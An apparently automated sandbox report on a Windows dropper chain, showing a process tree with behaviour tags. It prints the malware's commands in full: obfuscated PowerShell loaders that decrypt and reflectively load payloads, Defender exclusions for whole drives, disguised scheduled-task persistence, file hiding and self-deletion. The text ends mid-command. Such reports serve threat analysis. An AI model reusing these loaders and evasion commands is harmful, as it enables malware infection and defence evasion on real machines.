PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 624 wrote to memory of 2364	624	tpZOod0.exe	90
PID 4972 wrote to memory of 4592	4972	skotes.exe	95
PID 4972 wrote to memory of 4592	4972	skotes.exe	95
PID 4592 wrote to memory of 956	4592	DU1zDwm.exe	96
PID 4592 wrote to memory of 956	4592	DU1zDwm.exe	96
PID 4592 wrote to memory of 1748	4592	DU1zDwm.exe	97
PID 4592 wrote to memory of 1748	4592	DU1zDwm.exe	97
PID 4592 wrote to memory of 1636	4592	DU1zDwm.exe	99
PID 4592 wrote to memory of 1636	4592	DU1zDwm.exe	99
PID 4592 wrote to memory of 1960	4592	DU1zDwm.exe	101
PID 4592 wrote to memory of 1960	4592	DU1zDwm.exe	101
PID 1960 wrote to memory of 1616	1960	powershell.exe	104
PID 1960 wrote to memory of 1616	1960	powershell.exe	104
PID 4972 wrote to memory of 4572	4972	skotes.exe	107
PID 4972 wrote to memory of 4572	4972	skotes.exe	107
PID 4972 wrote to memory of 4572	4972	skotes.exe	107
PID 4572 wrote to memory of 4688	4572	stories.exe	108
PID 4572 wrote to memory of 4688	4572	stories.exe	108
PID 4572 wrote to memory of 4688	4572	stories.exe	108
PID 4688 wrote to memory of 3248	4688	stories.tmp	109
PID 4688 wrote to memory of 3248	4688	stories.tmp	109
PID 4688 wrote to memory of 3248	4688	stories.tmp	109
PID 4688 wrote to memory of 4916	4688	stories.tmp	111
PID 4688 wrote to memory of 4916	4688	stories.tmp	111
PID 4688 wrote to memory of 4916	4688	stories.tmp	111
PID 3248 wrote to memory of 1444	3248	net.exe	112
PID 3248 wrote to memory of 1444	3248	net.exe	112
PID 3248 wrote to memory of 1444	3248	net.exe	112
PID 4972 wrote to memory of 4440	4972	skotes.exe	113
PID 4972 wrote to memory of 4440	4972	skotes.exe	113
PID 4972 wrote to memory of 4440	4972	skotes.exe	113
PID 4440 wrote to memory of 3208	4440	cmd.exe	115
PID 4440 wrote to memory of 3208	4440	cmd.exe	115
PID 4440 wrote to memory of 3208	4440	cmd.exe	115
PID 4440 wrote to memory of 4448	4440	cmd.exe	116
PID 4440 wrote to memory of 4448	4440	cmd.exe	116
PID 4440 wrote to memory of 4448	4440	cmd.exe	116
PID 4448 wrote to memory of 4592	4448	powershell.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1748	attrib.exe
956	attrib.exe

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1156
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:3944
- C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
  C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
  2⤵
  PID:6416
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  2⤵
  PID:6332
- C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe
  C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe
  2⤵
  PID:5756
- C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
  2⤵
  PID:5580
- C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
  C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
  2⤵
  PID:5740
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5908
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.1.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:652
- C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
  C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
  2⤵
  PID:6820
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  2⤵
  PID:4052
- C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe
  C:\Users\Admin\AppData\Local\Temp\fc9e0aaab7\defnur.exe
  2⤵
  PID:7124
- C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
  C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
  2⤵
  PID:7292
- C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
  C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
  2⤵
  PID:2896
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:7032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4784
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.1.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:7276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1448
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2588
- - C:\Windows\SysWOW64\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2772
- - C:\Windows\SysWOW64\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3520

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3588
- C:\Users\Admin\AppData\Local\Temp\2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe
  "C:\Users\Admin\AppData\Local\Temp\2a0efd42c22af406d984461f1226c56f65fb74a9245d5397f94cef43aedce0bc.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Users\Admin\AppData\Local\Temp\1011233001\tpZOod0.exe
      "C:\Users\Admin\AppData\Local\Temp\1011233001\tpZOod0.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:624
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
        5⤵
        
        PID:2364
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 624 -s 1008
        5⤵
        Program crash
        
        PID:4964
  - - C:\Users\Admin\AppData\Local\Temp\1011316001\DU1zDwm.exe
      "C:\Users\Admin\AppData\Local\Temp\1011316001\DU1zDwm.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4592
    - - C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H +S C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
        5⤵
        Views/modifies file attributes
        
        PID:956
    - - C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
        5⤵
        Views/modifies file attributes
        
        PID:1748
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1636
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell ping 127.0.0.1; del DU1zDwm.exe
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1960
      - C:\Windows\system32\PING.EXE
        
        "C:\Windows\system32\PING.EXE" 127.0.0.1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1616
  - - C:\Users\Admin\AppData\Local\Temp\1011373001\stories.exe
      "C:\Users\Admin\AppData\Local\Temp\1011373001\stories.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4572
    - - C:\Users\Admin\AppData\Local\Temp\is-IVQHH.tmp\stories.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-IVQHH.tmp\stories.tmp" /SL5="$901FC,3307684,54272,C:\Users\Admin\AppData\Local\Temp\1011373001\stories.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:4688
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" pause video_jet_1232
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3248
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 pause video_jet_1232
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1444
      - C:\Users\Admin\AppData\Local\VideoJet 5.1.3.77\videojet.exe
        
        "C:\Users\Admin\AppData\Local\VideoJet 5.1.3.77\videojet.exe" -i
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4916
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1011428021\withroot.cmd" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4440
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1011428021\withroot.cmd';$dDiO='LRynPoadRynP'.Replace('RynP', ''),'SpaoCflitaoCf'.Replace('aoCf', ''),'CpVXarepVXaapVXateDpVXaepVXacrpVXayppVXatpVXaorpVXa'.Replace('pVXa', ''),'ChsohbansohbgeEsohbxtsohbensohbssohbisohbosohbnsohb'.Replace('sohb', ''),'CopmwsyyTomwsy'.Replace('mwsy', ''),'RjwWteajwWtdLjwWtinjwWtesjwWt'.Replace('jwWt', ''),'FroxuoEmxuoEBasxuoEe6xuoE4StxuoErixuoEngxuoE'.Replace('xuoE', ''),'InwozUvowozUkwozUewozU'.Replace('wozU', ''),'GVJeMeVJeMtCVJeMurVJeMrVJeMentVJeMProVJeMceVJeMsVJeMsVJeM'.Replace('VJeM', ''),'ElkXvnemekXvnntkXvnAkXvntkXvn'.Replace('kXvn', ''),'EntMmVmryPMmVmoiMmVmntMmVm'.Replace('MmVm', ''),'TUudXranUudXsfUudXorUudXmFiUudXnaUudXlBlUudXocUudXkUudX'.Replace('UudX', ''),'MayhiDinMyhiDoyhiDduyhiDleyhiD'.Replace('yhiD', ''),'DejLwccojLwcmpjLwcresjLwcsjLwc'.Replace('jLwc', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($dDiO[8])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function yLwIh($TZhDQ){$YZolA=[System.Security.Cryptography.Aes]::Create();$YZolA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$YZolA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$YZolA.Key=[System.Convert]::($dDiO[6])('duQk/QtsCXjlfUWS6XCUuCu5I1g6+OrVeXJ2aigXvB8=');$YZolA.IV=[System.Convert]::($dDiO[6])('9XjdTIP29vRyU5L9wYwsyw==');$BZniG=$YZolA.($dDiO[2])();$mkKMG=$BZniG.($dDiO[11])($TZhDQ,0,$TZhDQ.Length);$BZniG.Dispose();$YZolA.Dispose();$mkKMG;}function XFQUx($TZhDQ){$WCDIU=New-Object System.IO.MemoryStream(,$TZhDQ);$NUdnb=New-Object System.IO.MemoryStream;$TtrMr=New-Object System.IO.Compression.GZipStream($WCDIU,[IO.Compression.CompressionMode]::($dDiO[13]));$TtrMr.($dDiO[4])($NUdnb);$TtrMr.Dispose();$WCDIU.Dispose();$NUdnb.Dispose();$NUdnb.ToArray();}$wHJim=[System.IO.File]::($dDiO[5])([Console]::Title);$kvBry=XFQUx (yLwIh ([Convert]::($dDiO[6])([System.Linq.Enumerable]::($dDiO[9])($wHJim, 5).Substring(2))));$hsQZC=XFQUx (yLwIh ([Convert]::($dDiO[6])([System.Linq.Enumerable]::($dDiO[9])($wHJim, 6).Substring(2))));[System.Reflection.Assembly]::($dDiO[0])([byte[]]$hsQZC).($dDiO[10]).($dDiO[7])($null,$null);[System.Reflection.Assembly]::($dDiO[0])([byte[]]$kvBry).($dDiO[10]).($dDiO[7])($null,$null); "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3208
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4448
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4592
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3792
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\1011428021\withroot')
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4608
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 25450' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network25450Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3068
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network25450Man.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2984
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network25450Man.cmd"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2616
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network25450Man.cmd';$dDiO='LRynPoadRynP'.Replace('RynP', ''),'SpaoCflitaoCf'.Replace('aoCf', ''),'CpVXarepVXaapVXateDpVXaepVXacrpVXayppVXatpVXaorpVXa'.Replace('pVXa', ''),'ChsohbansohbgeEsohbxtsohbensohbssohbisohbosohbnsohb'.Replace('sohb', ''),'CopmwsyyTomwsy'.Replace('mwsy', ''),'RjwWteajwWtdLjwWtinjwWtesjwWt'.Replace('jwWt', ''),'FroxuoEmxuoEBasxuoEe6xuoE4StxuoErixuoEngxuoE'.Replace('xuoE', ''),'InwozUvowozUkwozUewozU'.Replace('wozU', ''),'GVJeMeVJeMtCVJeMurVJeMrVJeMentVJeMProVJeMceVJeMsVJeMsVJeM'.Replace('VJeM', ''),'ElkXvnemekXvnntkXvnAkXvntkXvn'.Replace('kXvn', ''),'EntMmVmryPMmVmoiMmVmntMmVm'.Replace('MmVm', ''),'TUudXranUudXsfUudXorUudXmFiUudXnaUudXlBlUudXocUudXkUudX'.Replace('UudX', ''),'MayhiDinMyhiDoyhiDduyhiDleyhiD'.Replace('yhiD', ''),'DejLwccojLwcmpjLwcresjLwcsjLwc'.Replace('jLwc', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($dDiO[8])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function yLwIh($TZhDQ){$YZolA=[System.Security.Cryptography.Aes]::Create();$YZolA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$YZolA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$YZolA.Key=[System.Convert]::($dDiO[6])('duQk/QtsCXjlfUWS6XCUuCu5I1g6+OrVeXJ2aigXvB8=');$YZolA.IV=[System.Convert]::($dDiO[6])('9XjdTIP29vRyU5L9wYwsyw==');$BZniG=$YZolA.($dDiO[2])();$mkKMG=$BZniG.($dDiO[11])($TZhDQ,0,$TZhDQ.Length);$BZniG.Dispose();$YZolA.Dispose();$mkKMG;}function XFQUx($TZhDQ){$WCDIU=New-Object System.IO.MemoryStream(,$TZhDQ);$NUdnb=New-Object System.IO.MemoryStream;$TtrMr=New-Object System.IO.Compression.GZipStream($WCDIU,[IO.Compression.CompressionMode]::($dDiO[13]));$TtrMr.($dDiO[4])($NUdnb);$TtrMr.Dispose();$WCDIU.Dispose();$NUdnb.Dispose();$NUdnb.ToArray();}$wHJim=[System.IO.File]::($dDiO[5])([Console]::Title);$kvBry=XFQUx (yLwIh ([Convert]::($dDiO[6])([System.Linq.Enumerable]::($dDiO[9])($wHJim, 5).Substring(2))));$hsQZC=XFQUx (yLwIh ([Convert]::($dDiO[6])([System.Linq.Enumerable]::($dDiO[9])($wHJim, 6).Substring(2))));[System.Reflection.Assembly]::($dDiO[0])([byte[]]$hsQZC).($dDiO[10]).($dDiO[7])($null,$null);[System.Reflection.Assembly]::($dDiO[0])([byte[]]$kvBry).($dDiO[10]).($dDiO[7])($null,$null); "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2232
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        8⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        
        PID:4468
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:4568
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:2984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network25450Man')
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3288
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 25450' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network25450Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:4640
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10002870121\lowsigmbye.cmd" "
        9⤵
        
        PID:5768
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\10002870121\lowsigmbye.cmd';$Zuin='LohLgJadhLgJ'.Replace('hLgJ', ''),'SpUdGHlitUdGH'.Replace('UdGH', ''),'CkzbKhankzbKgekzbKExkzbKtenkzbKskzbKikzbKokzbKnkzbK'.Replace('kzbK', ''),'TraXqevnsXqevforXqevmXqevFXqevinXqevalBXqevloXqevckXqev'.Replace('Xqev', ''),'CreIZJaatIZJaeIZJaDeIZJacIZJarIZJaypIZJatoIZJarIZJa'.Replace('IZJa', ''),'FrlsceomlsceBlscealsceslscee6lsce4Slscetrlsceinlsceglsce'.Replace('lsce', ''),'EnPCOltrPCOlyPoPCOlinPCOltPCOl'.Replace('PCOl', ''),'ElluGUemeluGUnluGUtluGUAtluGU'.Replace('luGU', ''),'CowSLIpyTwSLIowSLI'.Replace('wSLI', ''),'DQNkhecQNkhompQNkhrQNkheQNkhssQNkh'.Replace('QNkh', ''),'ReBEWfaBEWfdBEWfLBEWfineBEWfsBEWf'.Replace('BEWf', ''),'GetQshGCQshGurQshGreQshGnQshGtQshGPrQshGoQshGcQshGessQshG'.Replace('QshG', ''),'MahQKVinhQKVMhQKVohQKVduhQKVlehQKV'.Replace('hQKV', ''),'Invdqdfokdqdfedqdf'.Replace('dqdf', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($Zuin[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function 